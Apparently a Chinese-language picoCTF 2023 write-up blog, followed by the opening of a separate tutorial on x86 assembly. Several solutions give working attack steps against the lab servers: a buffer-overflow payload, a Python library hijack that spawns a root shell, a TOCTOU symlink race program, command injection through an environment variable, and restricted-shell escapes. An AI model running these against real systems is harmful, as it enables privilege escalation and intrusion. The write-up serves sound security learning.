41            0x29            Zlib compressed data, compressed
39739         0x9B3B          Zip archive data, at least v1.0 to extract, name: secret/
39804         0x9B7C          Zip archive data, at least v2.0 to extract, compressed size: 2869, uncompressed size: 3024, name: secret/flag.png
42908         0xA79C          End of Zip archive, footer length: 22

裡面有個zip，用工具解出來之後就能看到flag了。

$ foremost flag.png
Processing: flag.png
|foundat=secret/UT
foundat=secret/flag.pngUT
*|

PcapPoisoning

AUTHOR: MUBARAK MIKAIL

Description
How about some hide and seek heh?
Download this file and find the flag.
100 Points

這題我也覺得很爛，我用wireshark在那邊分析了pcap半天，也沒分析出什麼東西，還有一堆奇怪的host，結果strings一下就找到了= =

1 2	$ strings trace.pcap \| grep pico picoCTF{P64P_4N4L7S1S_SU55355FUL_31010c46}F~

who is it

AUTHOR: JUNIAS BONOU

Description
Someone just sent you an email claiming to be Google’s co-founder Larry Page but you suspect a scam.
Can you help us identify whose mail server the email actually originated from?
Download the email file here. Flag: picoCTF{FirstnameLastname}
100 Points

這題其實算是個簡單的OSINT，題目給了一個.eml檔，要查出是誰的server寄發了這份郵件。首先先用線上工具分析一下裡面的內容。

可以很清楚的看到他的IP，題目又說whois很好用，那當然是用來試試看囉，打完之後就可以看到我們要的東西了。

$ whois 173.249.33.206

#
# ARIN WHOIS data and services are subject to the Terms of Use
...

person:         Wilhelm Zwalina
...

FindAndOpen

AUTHOR: MUBARAK MIKAIL

Description
Someone might have hidden the password in the trace file.
Find the key to unlock this file. This tracefile might be good to analyze.
100 Points

這題其實也蠻通靈的，一樣是pcap分析不出什麼東西，然後用strings就找到了一個像base64的東西，但輸進去之後卻轉不出來，原因是因為填充位數不對，因此在前面多加幾個字元就能看到secret。

用這個secret就能打開zip獲得完整的flag了。

MSB

AUTHOR: LT ‘SYREAL’ JONES

Description
This image passes LSB statistical analysis, but we can’t help but think there must be something to the visual artifacts present in this image…
Download the image here
200 Points

這題題目都說是MSB了，那當然就是用MSB的方法解囉～stegsolve馬上打開來試試。

結果在RGB全開的情況下獲得了明文，把txt檔載下來之後搜尋pico即可找到flag。

General Skills

CLEAR

這個類別是我第二個破台的類別，今年的General Skills比往年都難，開始有接近一般MISC的感覺了，一起來看看怎麼解這些看似最簡單的題目吧XD

chrono

AUTHOR: MUBARAK MIKAIL

Description
How to automate tasks to run at intervals on linux servers?
Additional details will be available after launching your challenge instance.
100 Points

這題其實應該算是出爛了，ssh連進去之後往根目錄裡面的/challenge/metadata.json就可以找到flag。

$ ssh picoplayer@saturn.picoctf.net -p 49904
picoplayer@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 05:11:26 2023 from 114.36.17.55
picoplayer@challenge:~$ cat /challenge/metadata.json
{"flag": "picoCTF{Sch3DUL7NG_T45K3_L1NUX_7754e199}", "username": "picoplayer", "password": "a-8nJGZCTa"}

money-ware

AUTHOR: JUNI19

Description
Flag format: picoCTF{Malwarename}
The first letter of the malware name should be capitalized and the rest lowercase.
Your friend just got hacked and has been asked to pay some bitcoins to 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of?
100 Points

這題是簡單的OSINT，上網找一下那串奇怪的編碼就能找到那個malware的名字了。

Permissions

AUTHOR: GEOFFREY NJOGU

Description
Can you read files in the root file?
Additional details will be available after launching your challenge instance.
100 Points

這題需要一點通靈，因為我們原本的使用者是picoplayer，所以沒有讀取flag的權限，但我們可以動一點小手腳，像是/bin/sh等，這樣可以讓我們用root權限讀取任何檔案，也就能成功得到flag。

$ ssh -p 55977 picoplayer@saturn.picoctf.net
picoplayer@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 05:27:26 2023 from 114.36.17.55
picoplayer@challenge:~$ /bin/sh
$ cat /challenge/metadata.json
{"flag": "picoCTF{uS1ng_v1m_3dit0r_021d10ab}", "username": "picoplayer", "password": "dLAqMvm7xv"}

repetitions

AUTHOR: THEONESTE BYAGUTANGAZA

Description
Can you make sense of this file?
Download the file here.
100 Points

這題很明顯是base64編碼，看題目應該是編碼了不少次，所以把他拉到CyberChef裡面試試看多次解碼就可以得到flag了。

P.S. 看起來是被編碼了6次.w.

useless

AUTHOR: LOIC SHEMA

Description
There’s an interesting script in the user’s home directory
Additional details will be available after launching your challenge instance.
100 Points

這題其實我還是搞不懂他到底是在幹嘛，一開始他給了一個sh檔案，看起來是個簡單計算機。

$ ssh picoplayer@saturn.picoctf.net -p 64196
picoplayer@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Mar 30 07:37:22 2023 from 114.36.17.55
picoplayer@challenge:~$ ls
useless
picoplayer@challenge:~$ cat useless
#!/bin/bash
# Basic mathematical operations via command-line arguments

if [ $# != 3 ]
then
  echo "Read the code first"
else
        if [[ "$1" == "add" ]]
        then
          sum=$(( $2 + $3 ))
          echo "The Sum is: $sum"

        elif [[ "$1" == "sub" ]]
        then
          sub=$(( $2 - $3 ))
          echo "The Substract is: $sub"

        elif [[ "$1" == "div" ]]
        then
          div=$(( $2 / $3 ))
          echo "The quotient is: $div"

        elif [[ "$1" == "mul" ]]
        then
          mul=$(( $2 * $3 ))
          echo "The product is: $mul"

        else
          echo "Read the manual"

        fi
fi

原本以為是要做Command Injection，但找不到植入點，後來看到他的標籤寫了man，想說隨便打個man的指令，結果就得到flag了= =

$ man useless

useless
     useless, — This is a simple calculator script

SYNOPSIS
     useless, [add sub mul div] number1 number2

DESCRIPTION
     Use the useless, macro to make simple calulations like addition,subtraction, multiplication and division.

Examples
     ./useless add 1 2
       This will add 1 and 2 and return 3

     ./useless mul 2 3
       This will return 6 as a product of 2 and 3

     ./useless div 6 3
       This will return 2 as a quotient of 6 and 3

     ./useless sub 6 5
       This will return 1 as a remainder of substraction of 5 from 6

Authors
     This script was designed and developed by Cylab Africa

     picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_5562}

Special

AUTHOR: LT ‘SYREAL’ JONES

Description
Don’t power users get tired of making spelling mistakes in the shell? Not anymore! Enter Special, the Spell Checked Interface for Affecting Linux. Now, every word is properly spelled and capitalized… automatically and behind-the-scenes! Be the first to test Special in beta, and feel free to tell us all about how Special streamlines every development process that you face. When your co-workers see your amazing shell interface, just tell them: That’s Special (TM)
Start your instance to see connection details.
Additional details will be available after launching your challenge instance.
300 Points

這題是個看似正常的shell，但他會把我們打進去的指令做處理，除了把第一個字大寫之外，還會用其他的英文單字來取代指令，讓我們沒辦法執行正常的指令。

$ ssh -p 50295 ctf-player@saturn.picoctf.net
ctf-player@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 07:54:44 2023 from 127.0.0.1
Special$ ls
Is
sh: 1: Is: not found
Special$ pwd
Pod
sh: 1: Pod: not found

這個時候第一個想到的當然就是用前面用過的/bin/sh等shell來執行，但嘗試了各種shell都被擋下了。

Special$ /bin/sh
Why go back to an inferior shell?
Special$ /bin/bash
Why go back to an inferior shell?
Special$ /bin/zsh
Why go back to an inferior shell?

這個時候就想到了用特殊字元來繞過這個限制，這次嘗試之後發現可行。

1
2
3

Special$ "w"h"o"a"m"i
"w"h"o"a"m"i
ctf-player

那我們用特殊字元來繞過shell的限制就可以了，如下所示，我們成功得到shell的正常執行權限，用前面的方法來取得flag即可。

Special$ \/\b\i\n/////s\h
\/\b\i\n/////s\h
$ ls
blargh
$ cat /challenge/metadata.json
{"flag": "picoCTF{5p311ch3ck_15_7h3_w0r57_6a2763f6}", "password": "af86add3"}

Specialer

AUTHOR: LT ‘SYREAL’ JONES, ET AL.

Description
Reception of Special has been cool to say the least. That’s why we made an exclusive version of Special, called Secure Comprehensive Interface for Affecting Linux Empirically Rad, or just ‘Specialer’. With Specialer, we really tried to remove the distractions from using a shell. Yes, we took out spell checker because of everybody’s complaining. But we think you will be excited about our new, reduced feature set for keeping you focused on what needs it the most. Please start an instance to test your very own copy of Specialer.
Additional details will be available after launching your challenge instance.
400 Points

這題跟上面那題十分類似，差別在於這次改成限制可以執行哪些指令了，在shell裡按兩次tab可以看有哪些指令可以執行：

$ ssh -p 55013 ctf-player@saturn.picoctf.net
ctf-player@saturn.picoctf.net's password:
Specialer$
!          bind       compopt    elif       fc         if         printf     shift      true       while
./         break      continue   else       fg         in         pushd      shopt      type       {
:          builtin    coproc     enable     fi         jobs       pwd        source     typeset    }
[          caller     declare    esac       for        kill       read       suspend    ulimit
[[         case       dirs       eval       function   let        readarray  test       umask
]]         cd         disown     exec       getopts    local      readonly   then       unalias
alias      command    do         exit       hash       logout     return     time       unset
bash       compgen    done       export     help       mapfile    select     times      until
bg         complete   echo       false      history    popd       set        trap       wait

第一個看到的就是echo，他有一個特殊的用法可以用來當作cat使用，用法是echo $(，用這個方法就能讀取檔案了，而且用tab的方法可以觀察在~有三個可疑的資料夾，看起來flag就是在裡面，看看每個檔案的內容就能發現flag了。

Specialer$ echo ./(tab)
.hushlogin  .profile    abra/       ala/        sim/
Specialer$ echo ./ala/(tab)
kazam.txt  mode.txt
Specialer$ echo $(<./ala/mode.txt)
Yummy! Ice cream!
Specialer$ echo $(<./ala/kazam.txt)
return 0 picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_38f5cc78}

`Binary Exploitation`

最後是PWN的題目了，這個類別原本以為自己解不出多少，結果沒想到最後解了5/7題，算是有大大的進步，希望以後也可以多多訓練自己的PWN能力:P最好是Reverse跟PWN一起練XD

`babygame01`

AUTHOR: PALASH OSWAL

Description Get the flag and reach the exit. Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you’ll have to figure your way around the map. You can connect with it using nc saturn.picoctf.net 61841. 100 Points

歷年來picoCTF的Binary Exploitation第一題都是buffer overflow，今年也不例外，給了一個超級詭異的binary還不給source code，稍微逆向一下可以知道l指令可以改變自己的符號，p可以快速通關，而wasd則可以移動方向。

$ nc saturn.picoctf.net 61841

Player position: 4 4
End tile position: 29 89
Player has flag: 0
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
....@.....................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
..........................................................................................
.........................................................................................X

可以看到我們的flag數量為0，合理的猜想就是利用buffer overflow來改變我們flag的數量，這樣到終點時就可以拿到flag了。經過多次嘗試後，構造以下payload獲得flag：

$ echo -e $(python3 -c 'print("a"*368 + "p")') | nc saturn.picoctf.net 61841
...
You win!
flage
picoCTF{gamer_m0d3_enabled_0a880baf}

`two-sum`

AUTHOR: MUBARAK MIKAIL

Description Can you solve this? What two positive numbers can make this possible: n1 > n1 + n2 OR n2 > n1 + n2 Enter them here nc saturn.picoctf.net 61849. Source 100 Points

這題應該是這個類別裡最簡單的了，透過題目可以很明顯發現這題需要做的是integer overflow，在C語言裡int最大是2147483647，因此可以很輕易的構造我們的payload，輸入進去就可以得到flag了。

$ nc saturn.picoctf.net 61849
n1 > n1 + n2 OR n2 > n1 + n2
What two positive numbers can make this possible:
2147483647 1
You entered 2147483647 and 1
You have an integer overflow
YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_fe14e9e9}

`hijacking`

AUTHOR: THEONESTE BYAGUTANGAZA

Description Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we’ve got the credentials to use on the server. SSH is running on the server. 200 Points

這題是privilege_escalation，常見在python library的濫用，我們可以連進去看看他給了些什麼。

$ ssh picoctf@saturn.picoctf.net -p 61768
picoctf@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 08:40:58 2023 from 114.36.17.55
picoctf@challenge:~$ ls -al
total 16
drwxr-xr-x 1 picoctf picoctf   20 Mar 30 08:40 .
drwxr-xr-x 1 root    root      21 Mar 16 02:08 ..
-rw-r--r-- 1 picoctf picoctf  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 picoctf picoctf 3771 Feb 25  2020 .bashrc
drwx------ 2 picoctf picoctf   34 Mar 30 08:40 .cache
-rw-r--r-- 1 picoctf picoctf  807 Feb 25  2020 .profile
-rw-r--r-- 1 root    root     375 Mar 16 01:30 .server.py
picoctf@challenge:~$ cat .server.py
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)

有一個.server.py，有root權限，裡面引用了base64、os跟socket三個library，因此我們可以在家目錄構造base64.py，讓.server.py去引用我們所構造的惡意library並執行他，讓我們得到root權限。首先我們要構造base64.py，內容如下：

1 2	import os os.system('/bin/sh')

這個內容可以讓我們拿到shell，接著用下面的指令去執行.server.py就能拿到shell了。

$ sudo -l
Matching Defaults entries for picoctf on challenge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoctf may run the following commands on challenge:
    (ALL) /usr/bin/vi
    (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
picoctf@challenge:~$ sudo -u root /usr/bin/python3 /home/picoctf/.server.py
# ls
__pycache__  base64.py
# cat /challenge/metadata.json
{"flag": "picoCTF{pYth0nn_libraryH!j@CK!n9_6924176e}", "username": "picoctf", "password": "rZSsB--vJK"}

`tic-tac`

AUTHOR: JUNIAS BONOU

Description Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it. Additional details will be available after launching your challenge instance. 200 Points

這題從標籤來看是toctou attack的題目，主要的內容是讓兩個檔案來搶連結到root權限的東西，這樣我們就有機會讀取到原本只有root可以讀取的檔案。先連進去看看有什麼東西。

$ ssh ctf-player@saturn.picoctf.net -p 63641
ctf-player@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 08:56:23 2023 from 127.0.0.1
ctf-player@pico-chall$ ls -al
total 32
drwxr-xr-x 1 ctf-player ctf-player    20 Mar 30 08:56 .
drwxr-xr-x 1 root       root          24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player    34 Mar 30 08:56 .cache
-rw-r--r-- 1 root       root          67 Mar 16 02:28 .profile
-rw------- 1 root       root          32 Mar 16 02:28 flag.txt
-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root       root       19016 Mar 16 02:28 txtreader
ctf-player@pico-chall$ cat src.cpp
#include 
#include 
#include 
#include 

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " " << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}
ctf-player@pico-chall$ ./txtreader flag.txt
Error: you don't own this file

裡面有一個txtreader，是個toctou attack常見的東西，要進行toctou，首先我們需要構造一個搶權限用的檔案。

1	ctf-player@pico-chall$ touch asd

接著我們利用ln指令將flag.txt軟連結到另一個檔案上。

ctf-player@pico-chall$ ln -s flag.txt flag
ctf-player@pico-chall$ ls -alh
total 56K
drwxr-xr-x 1 ctf-player ctf-player  72 Mar 30 09:19 .
drwxr-xr-x 1 root       root        24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player  34 Mar 30 09:18 .cache
drwxrwxr-x 3 ctf-player ctf-player  19 Mar 30 09:18 .local
-rw-r--r-- 1 root       root        67 Mar 16 02:28 .profile
lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 flag -> flag.txt
-rw------- 1 root       root        32 Mar 16 02:28 flag.txt
-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race
-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root       root       19K Mar 16 02:28 txtreader
ctf-player@pico-chall$ ./txtreader flag
Error: you don't own this file

可以發現現在讀取flag已經等於讀取flag.txt了，但我們依然沒有權限。接著我參考了這裡的攻擊碼，把他在server裡面編譯成race可執行檔。

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 

int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}
//gcc race.c -o race

這個時候我們已經具備了我們所需要的條件，執行以下指令讓攻擊碼跑起來。

1	ctf-player@pico-chall$ ./race asd flag

我們開啟另一個視窗去觀察軟連結的狀態：

ctf-player@pico-chall$ ls -alh
total 56K
drwxr-xr-x 1 ctf-player ctf-player  83 Mar 30 09:20 .
drwxr-xr-x 1 root       root        24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player  34 Mar 30 09:18 .cache
drwxrwxr-x 3 ctf-player ctf-player  19 Mar 30 09:18 .local
-rw-r--r-- 1 root       root        67 Mar 16 02:28 .profile
lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 asd -> flag.txt
-rw-rw-r-- 1 ctf-player ctf-player   0 Mar 30 09:19 flag
-rw------- 1 root       root        32 Mar 16 02:28 flag.txt
-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race
-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root       root       19K Mar 16 02:28 txtreader
ctf-player@pico-chall$ ls -alh
ls: cannot read symbolic link 'flag': Invalid argument
ls: cannot read symbolic link 'asd': Invalid argument
total 56K
drwxr-xr-x 1 ctf-player ctf-player  83 Mar 30 09:20 .
drwxr-xr-x 1 root       root        24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player  34 Mar 30 09:18 .cache
drwxrwxr-x 3 ctf-player ctf-player  19 Mar 30 09:18 .local
-rw-r--r-- 1 root       root        67 Mar 16 02:28 .profile
lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 asd
lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 flag
-rw------- 1 root       root        32 Mar 16 02:28 flag.txt
-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race
-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root       root       19K Mar 16 02:28 txtreader
ctf-player@pico-chall$ ls -alh
total 56K
drwxr-xr-x 1 ctf-player ctf-player  83 Mar 30 09:20 .
drwxr-xr-x 1 root       root        24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player  34 Mar 30 09:18 .cache
drwxrwxr-x 3 ctf-player ctf-player  19 Mar 30 09:18 .local
-rw-r--r-- 1 root       root        67 Mar 16 02:28 .profile
-rw-rw-r-- 1 ctf-player ctf-player   0 Mar 30 09:19 asd
lrwxrwxrwx 1 ctf-player ctf-player   8 Mar 30 09:19 flag -> flag.txt
-rw------- 1 root       root        32 Mar 16 02:28 flag.txt
-rwxrwxr-x 1 ctf-player ctf-player 17K Mar 30 09:18 race
-rw-rw-r-- 1 ctf-player ctf-player 295 Mar 30 09:18 race.c
-rw-r--r-- 1 ctf-player ctf-player 912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root       root       19K Mar 16 02:28 txtreader

可以發現他的指向一直在改變，那我們用txtreader讀flag，就有$\dfrac{1}{2}$的機率可以讀到flag.txt的內容，如下所示：

1
2
3

ctf-player@pico-chall$ ./txtreader flag
ctf-player@pico-chall$ ./txtreader flag
picoCTF{ToctoU_!s_3a5y_f482a247}

`VNE`

AUTHOR: JUNIAS BONOU

Description We’ve got a binary that can list directories as root, try it out !! 200 Points

這題標籤上面寫著env、injection，看來是跟injection有關的題目，一樣進去看看他有什麼東西可以利用。

$ ssh ctf-player@saturn.picoctf.net -p 54891
ctf-player@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.15.0-1031-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu Mar 30 09:56:09 2023 from 127.0.0.1
ctf-player@pico-chall$ ls -al
total 28
drwxr-xr-x 1 ctf-player ctf-player    41 Mar 30 09:56 .
drwxr-xr-x 1 root       root          24 Mar 16 01:59 ..
-rw------- 1 ctf-player ctf-player    21 Mar 30 09:56 .bash_history
drwx------ 2 ctf-player ctf-player    34 Mar 30 09:56 .cache
-rw-r--r-- 1 root       root          67 Mar 16 01:59 .profile
-rwsr-xr-x 1 root       root       18752 Mar 16 01:59 bin
ctf-player@pico-chall$ ./bin
Error: SECRET_DIR environment variable is not set

執行的時候說SECRET_DIR沒有設定，看起來應該是要設定路徑的名稱，馬上來試試看。

ctf-player@pico-chall$ export SECRET_DIR=/
ctf-player@pico-chall$ ./bin
Listing the content of / as root:
bin   challenge  etc   lib    lib64   media  opt   root  sbin  sys  usr
boot  dev        home  lib32  libx32  mnt    proc  run   srv   tmp  var

看起來是個用root權限執行ls的檔案，但我們要讀取的話怎麼辦呢?他的指令看起來是類似於ls 的結構，因此我們只要在SECRET_DIR裡面動手腳，或許就能讀取東西了，如下所示，成功獲得flag：

ctf-player@pico-chall$ export SECRET_DIR="/;cat /challenge/metadata.json"
ctf-player@pico-chall$ ./bin
Listing the content of /;cat /challenge/metadata.json as root:
bin   challenge  etc   lib    lib64   media  opt   root  sbin  sys  usr
boot  dev        home  lib32  libx32  mnt    proc  run   srv   tmp  var
{"flag": "picoCTF{Power_t0_man!pul4t3_3nv_1670f174}", "password": "3f39b042"}



CTF系列-Reverse Engineering逆向工程基礎I
2023-01-30T13:44:27.000Z
Reverse是CTF競賽中算是相對困難度高的一個類別，基於其比較偏向電腦底層的部分，因此相對不會像之前的Web與Crypto類別那麼直覺，除了二進位檔案的靜態與動態分析，組合語言(assembly)也會是其中一個重點學習的部分，因此這裡也會先介紹一些需要知道的組合語言知識。歡迎各位來訊說明或補充筆者不足的部分喔!🤗
Basic Assembly
組合語言會大量出現在Reverse的情境當中，實際生活中的逆向工程也會需要讀組合語言來判斷程式流程，因此這裡會先介紹組合語言所需要具備的基礎能力。組合語言是為了解決指令集極不易讀的特性而產生，以類似人類語言的方式來描述指令集。事實上組合語言出現得比C/C++等高階語言更早，因此利用組合語言編寫程式也是可行的。
x86 vs. ARM
x86事實上泛指一群Intel公司發行向下相容的指令集處理器，包含Intel 8086、80186、80286、80386、80486，原先的縮寫是80x86，後來基於方便因此直接寫成x86。它是複雜指令集電腦(CISC)的代表，而後續又在Intel公司的推行下出現了從32bit擴充到64bit的AMD64，也可稱為x86-64。目前一般電腦都是採用此種處理器。
而ARM則可以被認為是相對於x86的另一種處理器，因為他所屬集合的是IBM在1974年提出的簡化指令集電腦(RISC)，目的在於簡化與減少指令。基於RISC所消耗的資源較少，效率又較高，因此通常行動裝置，包含iOS與Android都使用此類處理器。近年來因為CISC與RISC的相互競爭，兩者在指令集架構上已經非常接近。
此外，CISC與RISC在處理上還有一個非常重要的不同，在於RISC能夠完全使用暫存器(register，稍後說明)來傳遞參數，但CISC僅能將資料儲存在堆疊(stack)上傳遞。
Intel vs. AT&T syntax
這兩者都是x86/AMD64之下的語法風格，讀者能夠以自己容易瞭解的方向來選擇，筆者本人較常使用Intel風格。Intel風格是跟著第一代的Intel處理器8086產生，主要是Intel公司認為使用機器碼對人類的可讀性極低，其風格主要有16進位使用h結尾、間接位址使用[]表示等。
而AT&T公司則是由貝爾實驗室而來，基於作為C與Linux的發源地，他們決定不採用Intel風格，自創一個AT&T風格。這種風格在Linux系統中廣為使用，包含gdb、objdump等工具都預設採用AT&T風格，其風格主要有暫存器前有%符號、16進位使用0x開頭、間接位址使用()表示等。詳細較重要差異可參考以下表格：
Intel AT&T
運算元(Operant)順序 目標運算元在前 來源運算元在前
Register 不變 %字首
立即數 不變 $字首
16進位立即數 字尾加上h 字首加上0x
記憶體長度存取 BYTE PTR、WORD PTR、DWORD PTR、QWORD PTR開頭分別代表位元組(8bit，char)、字(16bit，short)、雙字(32bit，int)、四字(64bit，long) b、w、l、q結尾分別代表位元組(8bit，char)、字(16bit，short)、雙字(32bit，int)、四字(64bit，long)
變數取值 [var] var
變數取位址 var $var
以下是一個相同檔案hello.c利用兩種語法風格產生的main函數組合語言，可比較其中差異：
1
2
3
4
5
6
7
8
9
10
11
12
13
//Intel
0000000000001149 :
    1149:       f3 0f 1e fa             endbr64
    114d:       55                      push   rbp
    114e:       48 89 e5                mov    rbp,rsp
    1151:       48 8d 3d ac 0e 00 00    lea    rdi,[rip+0xeac]        # 2004 <_IO_stdin_used+0x4>
    1158:       e8 f3 fe ff ff          call   1050 
    115d:       b8 00 00 00 00          mov    eax,0x0
    1162:       5d                      pop    rbp
    1163:       c3                      ret
    1164:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
    116b:       00 00 00
    116e:       66 90                   xchg   ax,ax
1
2
3
4
5
6
7
8
9
10
11
12
13
//AT&T
0000000000001149 :
    1149:       f3 0f 1e fa             endbr64
    114d:       55                      push   %rbp
    114e:       48 89 e5                mov    %rsp,%rbp
    1151:       48 8d 3d ac 0e 00 00    lea    0xeac(%rip),%rdi        # 2004 <_IO_stdin_used+0x4>
    1158:       e8 f3 fe ff ff          callq  1050 
    115d:       b8 00 00 00 00          mov    $0x0,%eax
    1162:       5d                      pop    %rbp
    1163:       c3                      retq
    1164:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
    116b:       00 00 00
    116e:       66 90                   xchg   %ax,%ax
Registers
通用暫存器根據位元數的不同，也會有不同的變化，如下表所示：
其中不同位元下所占用的位置如下所示，在此以RAX作為範例：
一些比較特別的暫存器如下，這些方法是由Intel所定義的暫存器傳統：
rax：預設存放函式或數學運算的回傳值
stack operationrsp：stack pointer，指向堆疊的頂端(top)
rbp：base pointer，指向堆疊的底部(bottom)
rip：instruction pointer，會存放接下來程式要跳轉的位址
string operationrsi：source，通常用於字串處理，存放來源字串的位址
rdi：destination，通常用於字串處理，存放目的地字串的位址
rcx：counter，loop或其他函數的計數器
Statements
組合語言有一些自己特定的指令來對暫存器進行處理，以下會逐一說明。
MOV (move)
MOV是最常用於組合語言的指令之一，用於變數賦值，如下所示，後方為轉換成較易理解的形式：
1
2
3
mov eax, ecx             ; eax = ecx
mov eax, 0x12345678      ; eax = 0x12345678
mov qword ptr [rdi], rax ; *(rdi) = rax
mov已被證明理論上是圖靈完備的，因此可以完全以mov完成一個程式。
P.S. 但很少人會做那麼無聊的事情，又很難讀XD
ADD (add)
ADD是相加指令，會將相同長度的運算元進行相加操作，如下所示：
1
2
3
mov eax, 0x100 ; eax = 0x100
add eax, 0x300 ; eax += 0x300
; eax = 0x400
SUB (subtract)
SUB與ADD相反，作為相減指令，會將相同長度的運算元進行相減操作，如下所示：
1
2
3
mov eax, 0x300 ; eax = 0x300
sub eax, 0x200 ; eax -= 0x200
; eax = 0x100
MUL (multiplicate) & DIV (divide)
MUL是乘法指令，DIV則是除法指令，這兩項指令所產生的回傳值預設會存回到rax暫存器。
1
2
3
4
5
